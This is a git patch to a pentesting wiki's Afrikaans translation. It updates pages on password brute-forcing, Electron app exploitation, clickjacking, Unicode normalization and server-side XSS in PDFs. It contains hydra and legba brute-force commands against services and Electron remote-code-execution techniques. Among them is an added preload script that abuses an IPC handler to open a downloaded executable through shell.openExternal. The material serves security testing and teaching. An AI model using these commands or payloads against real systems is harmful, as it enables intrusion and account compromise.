From c2d114b67f8a12ec08c504ba6958c6cf6e9ae129 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 9 Mar 2025 14:22:12 +0000 Subject: [PATCH] Translated ['src/generic-hacking/brute-force.md', 'src/network-services- --- src/generic-hacking/brute-force.md | 29 +++--- .../electron-desktop-apps/README.md | 89 ++++++++++++------- src/pentesting-web/clickjacking.md | 30 ++++--- .../unicode-normalization.md | 36 +++++--- .../server-side-xss-dynamic-pdf.md | 45 +++++++--- 5 files changed, 145 insertions(+), 84 deletions(-) diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 8b25b7d6a..85e8a1806 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` -### Cewl +### Webwerf-gebaseerde woordlyste ```bash +# Cewl gets words from the victims page cewl example.com -m 5 -w words.txt + +# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs +cat /path/to/urls.txt | tok + +# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs +cat /path/to/js-urls.txt | python3 getjswords.py ``` ### [CUPP](https://github.com/Mebus/cupp) @@ -113,7 +120,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` -### Docker Registrasie +### Docker Registry ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` @@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` -### HTTP - Post Vorm +### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https @@ -393,11 +400,11 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ``` #### Swak SSH sleutels / Debian voorspelbare PRNG -Sommige stelsels het bekende gebreke in die random seed wat gebruik word om kriptografiese materiaal te genereer. Dit kan lei tot 'n dramaties verminderde sleutelruimte wat met gereedskap soos [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gebruteforce kan word. Vooraf gegenereerde stelle van swak sleutels is ook beskikbaar soos [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +Sommige stelsels het bekende gebreke in die willekeurige saad wat gebruik word om kriptografiese materiaal te genereer. Dit kan lei tot 'n dramaties verminderde sleutelruimte wat met gereedskap soos [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gebruteforce kan word. Voor-gegenererde stelle van swak sleutels is ook beskikbaar soos [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ en OpenMQ) -Die STOMP teksprotokol is 'n wyd gebruikte boodskapprotokol wat **naatlose kommunikasie en interaksie met gewilde boodskapqueue-dienste** soos RabbitMQ, ActiveMQ, HornetQ, en OpenMQ toelaat. Dit bied 'n gestandaardiseerde en doeltreffende benadering om boodskappe uit te ruil en verskeie boodskapoperasies uit te voer. +Die STOMP teksprotokol is 'n wyd gebruikte boodskapprotokol wat **naatlose kommunikasie en interaksie met gewilde boodskap-ry-dienste** soos RabbitMQ, ActiveMQ, HornetQ, en OpenMQ toelaat. Dit bied 'n gestandaardiseerde en doeltreffende benadering om boodskappe uit te ruil en verskeie boodskapoperasies uit te voer. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` @@ -471,8 +478,8 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt ``` #### Bekende teks zip aanval -Jy moet die **teks** (of 'n deel van die teks) **van 'n lêer wat binne** die versleutelde zip bevat, weet. Jy kan **lêername en grootte van lêers wat binne** 'n versleutelde zip is, nagaan deur: **`7z l encrypted.zip`**\ -Laai [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)af van die vrylating bladsy. +Jy moet die **teks** (of 'n deel van die teks) **van 'n lêer wat binne** die versleutelde zip bevat, weet. Jy kan **lêername en grootte van lêers wat binne** 'n versleutelde zip bevat, nagaan deur: **`7z l encrypted.zip`**\ +Laai [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) van die vrylating bladsy af. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -583,7 +590,7 @@ Gebruik [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.p ### Open Office Wachtwoord Beskermde Kolom -As jy 'n xlsx-lêer het met 'n kolom wat deur 'n wagwoord beskerm word, kan jy dit ontkoppel: +As jy 'n xlsx-lêer het met 'n kolom wat deur 'n wagwoord beskerm word, kan jy dit ontprotect: - **Laai dit op na google drive** en die wagwoord sal outomaties verwyder word - Om dit **handmatig** te **verwyder**: @@ -620,7 +627,7 @@ hash-identifier ### **Woordlys Generasie Gereedskap** -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-wandelgenerator met konfigureerbare basis karakters, sleutelkaart en roetes. +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-walk generator met konfigureerbare basis karakters, sleutelkaart en roetes. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` @@ -706,12 +713,12 @@ Kraken van Linux Hashes - /etc/shadow lêer 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` -Kraken van Windows Hashes +Die verbreking van Windows-hashes ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` -Kraken van Algemene Toepassing Hashes +Kraak Algemene Toepassing Hashes ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index ef67e9187..10faa28e7 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -6,7 +6,7 @@ Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit sommige van die sekuriteitsmeganismes van moderne blaaiers mis. -Gewoonlik sal jy die electron app kode binne 'n `.asar` toepassing vind, om die kode te verkry moet jy dit onttrek: +Gewoonlik kan jy die electron app kode binne 'n `.asar` toepassing vind, om die kode te verkry moet jy dit onttrek: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file @@ -20,7 +20,7 @@ In die bronkode van 'n Electron-app, binne `packet.json`, kan jy die `main.js`-l Electron het 2 prosestipes: - Hoofproses (het volledige toegang tot NodeJS) -- Renderer-proses (moet beperkte toegang tot NodeJS hê om veiligheidsredes) +- Renderer-proses (moet beperkte toegang tot NodeJS hê vir sekuriteitsredes) ![](<../../../images/image (182).png>) @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Die instellings van die **renderer-proses** kan **gekonfigureer** word in die **hoofproses** binne die main.js-lêer. Sommige van die konfigurasies sal **voorkom dat die Electron-toepassing RCE kry** of ander kwesbaarhede as die **instellings korrek geconfigureer is**. +Die instellings van die **renderer process** kan **gekonfigureer** word in die **main process** binne die main.js-lêer. Sommige van die konfigurasies sal **voorkom dat die Electron-toepassing RCE** of ander kwesbaarhede kry as die **instellings korrek geconfigureer is**. -Die electron-toepassing **kan toegang tot die toestel verkry** via Node-apis alhoewel dit geconfigureer kan word om dit te voorkom: +Die electron-toepassing **kan toegang tot die toestel** verkry via Node-apis alhoewel dit geconfigureer kan word om dit te voorkom: -- **`nodeIntegration`** - is `af` per standaard. As aan, laat dit toe om toegang te verkry tot node-funksies vanaf die renderer-proses. -- **`contextIsolation`** - is `aan` per standaard. As af, is hoof- en renderer-prosesse nie geïsoleer nie. +- **`nodeIntegration`** - is `off` per standaard. As aan, laat dit toe om toegang tot node-funksies vanaf die renderer process te verkry. +- **`contextIsolation`** - is `on` per standaard. As af, is die hoof- en renderer processes nie geïsoleer nie. - **`preload`** - leeg per standaard. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is af per standaard. Dit sal die aksies wat NodeJS kan uitvoer beperk. - Node Integrasie in Werkers -- **`nodeIntegrationInSubframes`** - is `af` per standaard. -- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** in webbladsye wat in **iframes** binne 'n Electron-toepassing **gelaai** word, toelaat. -- As **`nodeIntegration`** **gedeaktiveer** is, sal preloads in die iframe laai. +- **`nodeIntegrationInSubframes`** - is `off` per standaard. +- As **`nodeIntegration`** geaktiveer is, sal dit die gebruik van **Node.js APIs** in webbladsye wat in **iframes** binne 'n Electron-toepassing gelaai word, toelaat. +- As **`nodeIntegration`** gedeaktiveer is, sal preloads in die iframe gelaai word. Voorbeeld van konfigurasie: ```javascript @@ -101,7 +101,7 @@ Wysig die start-main konfigurasie en voeg die gebruik van 'n proxy soos by: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` -## Electron Plaaslike Kode-inspuiting +## Electron Plaaslike Kode Inspuiting As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer willekeurige javascript kode. Kyk hoe in: @@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app") ## RCE: preload -Die skrip wat in hierdie instelling aangedui word, is l**aad voor ander skripte in die renderer**, so dit het **onbeperkte toegang tot Node APIs**: +Die skrip wat in hierdie instelling aangedui word, is l**oaded voordat ander skrips in die renderer**, so dit het **onbeperkte toegang tot Node APIs**: ```javascript new BrowserWindow{ webPreferences: { @@ -154,7 +154,7 @@ runCalc() Die _**contextIsolation**_ stel die **geskeide kontekste tussen die webbladskripte en die JavaScript Electron se interne kode** in, sodat die JavaScript-uitvoering van elke kode nie mekaar beïnvloed nie. Dit is 'n noodsaaklike kenmerk om die moontlikheid van RCE te elimineer. -As die kontekste nie geskei is nie, kan 'n aanvaller: +As die kontekste nie geïsoleer is nie, kan 'n aanvaller: 1. **Arbitraire JavaScript in renderer uitvoer** (XSS of navigasie na eksterne webwerwe) 2. **Oorskryf die ingeboude metode** wat in preload of Electron interne kode gebruik word na eie funksie @@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md ### Bypass klik gebeurtenis -As daar beperkings toegepas word wanneer jy op 'n skakel klik, mag jy in staat wees om dit te omseil **deur 'n middelklik** in plaas van 'n gewone linkerklik. +As daar beperkings toegepas word wanneer jy op 'n skakel klik, mag jy in staat wees om dit te omseil **deur 'n middelklik** te doen in plaas van 'n gewone linkerklik ```javascript window.addEventListener('click', (e) => { ``` @@ -200,11 +200,11 @@ Hierdie luisteraars word **oorheers deur die lessenaartoepassing** om sy eie **b ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS sekuriteitsbeste praktyke raai teen die aanvaarding van onbetroubare inhoud met die `openExternal` funksie, aangesien dit kan lei tot RCE deur verskeie protokolle. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan ontketen. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n mens na [hierdie hulpbron](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows protokolvoorbeelde insluit wat in staat is om hierdie kwesbaarheid te benut. +Electron JS sekuriteitsbeste praktyke raai teen die aanvaarding van onbetroubare inhoud met die `openExternal` funksie, aangesien dit kan lei tot RCE deur verskeie protokolle. Bedryfstelsels ondersteun verskillende protokolle wat RCE kan aktiveer. Vir gedetailleerde voorbeelde en verdere verduideliking oor hierdie onderwerp, kan 'n mens na [hierdie hulpbron](https://positive.security/blog/url-open-rce#windows-10-19042) verwys, wat Windows protokolvoorbeelde insluit wat in staat is om hierdie kwesbaarheid te benut. In macos kan die `openExternal` funksie benut word om arbitrêre opdragte uit te voer soos in `shell.openExternal('file:///System/Applications/Calculator.app')`. -**Voorbeelde van Windows protokol eksploit is:** +**Voorbeelde van Windows protokoluitbuitings sluit in:** ```html ``` +## RCE: webviewTag + kwesbare preload IPC + shell.openExternal + +Hierdie kwesbaarheid kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. + +Die **webviewTag** is 'n **verouderde kenmerk** wat die gebruik van **NodeJS** in die **renderer-proses** toelaat, wat afgeskakel moet word aangesien dit toelaat om 'n skrip binne die preload-konteks te laai soos: +```xml + +``` +Daarom kan 'n aanvaller wat daarin slaag om 'n arbitrêre bladsy te laai, daardie etiket gebruik om **'n arbitrêre vooraflaai-skrip te laai**. + +Hierdie vooraflaai-skrip is dan misbruik om 'n **kwetsbare IPC-diens (`skype-new-window`)** aan te roep wat **`shell.openExternal`** aangeroep het om RCE te verkry: +```javascript +(async() => { +const { ipcRenderer } = require("electron"); +await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); +setTimeout(async () => { +const username = process.execPath.match(/C:\\Users\\([^\\]+)/); +await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); +}, 5000); +})(); +``` ## Lees Interne Lêers: XSS + contextIsolation -**Deaktiveer `contextIsolation` stel die gebruik van `` merke in**, soortgelyk aan ` ``` -### Meervoudige Laaiers +### Meervoudige Stap Payload ```css